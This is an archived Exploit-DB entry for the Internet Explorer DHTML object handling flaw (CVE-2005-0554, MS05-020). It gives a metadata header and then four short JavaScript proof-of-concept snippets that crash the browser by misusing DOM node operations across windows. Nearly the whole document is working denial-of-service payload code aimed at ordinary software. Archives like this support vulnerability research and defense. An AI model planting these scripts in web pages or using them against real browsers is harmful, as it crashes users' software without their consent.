Microsoft Internet Explorer - DHTML Object Handling (MS05-020)

Author: Skylined
type: dos
platform: windows
port: 
date_added: 2005-04-11 
date_updated: 2016-05-06 
verified: 1 
codes: CVE-2005-0554;MS05-020 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.commsie55sp2.exe

<!-- Here are multiple Microsoft Internet Explorer DHTML Object Handling Vulnerabilities by Skylined /str0ke -->

<SCRIPT language="javascript">
    a=document.createTextNode();try{window.open().document.appendChild(a);}catch(e){}document.removeChild(a);
</SCRIPT>

<SCRIPT language="javascript">
  p=document.createElement();c=window.open().document.createElement();try{c.appendChild(p);}catch(e){p.removeChild(c);};
</SCRIPT>

<SCRIPT language="javascript">
    try{window.open().document.appendChild(document);}catch(e){}
</SCRIPT>

<SCRIPT>
    try{window.open().document.appendChild(document.all[0]);}catch(e){}
</SCRIPT>

# milw0rm.com [2005-04-12]